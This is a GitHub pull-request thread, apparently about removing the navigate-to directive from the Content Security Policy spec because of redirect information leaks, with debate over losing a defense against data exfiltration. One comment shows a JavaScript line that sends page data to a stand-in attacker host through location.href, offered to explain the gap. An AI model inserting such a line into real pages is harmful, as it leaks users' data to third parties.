Remove navigate-to.

[mikewest]

Though there's an implementation of this directive behind a flag in Chromium, it's not something that any vendor has shipped, and there are real concerns about information leaks that it enables. This patch removes it from the spec to avoid confusion while we determine what, if anything, we want to do in this space.

Partially addresses #563.

[antosart]

LGTM, thanks!

There seems to be some unrelated compilation issues with the spec - bikeshed is not able to find most references. I am not sure what is wrong with it, but I'll have a look.

[mikewest]

The bikeshed issue seems like not our problem. I've seen other folks report issues this morning. I'll just wait until America wakes up and fixes it before landing this.

[dveditz]

Though there's an implementation of this directive behind a flag in Chromium

fwiw there is also an implementation in Firefox behind a pref, in limbo at this point. I'd be very happy to get an updated draft without it while we try to figure out if it's salvageable.

[mozfreddyb]

Last I heard, there were some non-resolvable security issues with redirects (and maybe embeds?).
I'd be OK with removing it and filed https://bugzilla.mozilla.org/show_bug.cgi?id=1793560, but happy to wait a bit before going ahead and removing it all.

[eligrey]

Could someone link to information about the unresolvable security issues that can be caused by this directive?

[jub0bs]

@eligrey Not yet public, but should be soon: https://bugs.chromium.org/p/chromium/issues/detail?id=1350804

[eligrey]

I don't have access to that link so I can only ask more questions: why not scope navigate-to equivalently to the navigation API, which can control all top-level (relative to the current context/realm) navigation? It's odd to see that a private issue has necessitated the complete removal of this feature.

I can't find any public discussions explaining why we can have the navigation API but not this CSP directive.

[mikewest]

@eligrey: I opened up the issue, there's no reason it should have been private.

Removing navigate-to from the spec doesn't mean no one will ever ship anything like it. But as-designed, it leaks information about cross-origin redirects in a way that offers more capability than the existing form-action directive. Given that, browsers are unlikely to ship it as-is, and the spec should reflect reality.

If folks are interested in picking it back up and turning into something that would solve developers' problems while not causing new ones, great! It's simply a question of prioritization and effort.

[marsupilamimon]

Hey @mikewest ! Could you point me to some discussion about said information leaks? I couldn't find anywhere.

What is the future of navigate-to now? As far as I understand, CSP was literally this close to actually being capable of preventing exfiltration via generic reliable techniques and I at least was really looking forward to proper support for this.

Now you can just do this regardless of the CSP:
location.href="https://www.evil.example.com?exfiltrate=" + all_the_goodies;

...which can be a replicate of the original website and just redirect back, keeping the attack fairly stealthy.

[mikewest]

@marsupilamimon: As originally defined, navigate-to granted control over/insight into the redirect chain of a navigation at a somewhat granular level, allowing separation between initial navigations and redirects, with some compromises (e.g. 'unsafe-allow-redirects') that were helpful for anti-malvertising use cases. A new proposal that avoided any consideration of redirects would likely be safe, but would likely be insufficient for some use cases (including pure exfiltration risk, given the prevalance of same-origin open redirects).

Thus far, no one has spent the time to dig into the space again to make a new proposal. I don't think there's real philosophical objection to anyone doing so, it's just a prioritization question.

[marsupilamimon]

@mikewest alright, thanks for the reply! Is there something I can do to help?

I don't think the open redirects are an issue. While navigate-to would be bypassable in applications with open redirects (which are generally not such a great idea in the first place), developers would at least have the possibility to achieve proper defense against exfiltration.

For instance, the online banking app I use probably doesn't have open redirects. Also it doesn't have built-in exfiltration mechanisms (such as posting messages where the attacker could see them). But it does deal with fairly sensitive data and would surely benefit from this kind of a client-side implementation of blocking egress network traffic.

[jacksonrayhamilton]

A suitable replacement for navigate-to seems like it would be useful to prevent attacks like the one recently launched via polyfill.io: https://sansec.io/research/polyfill-supply-chain-attack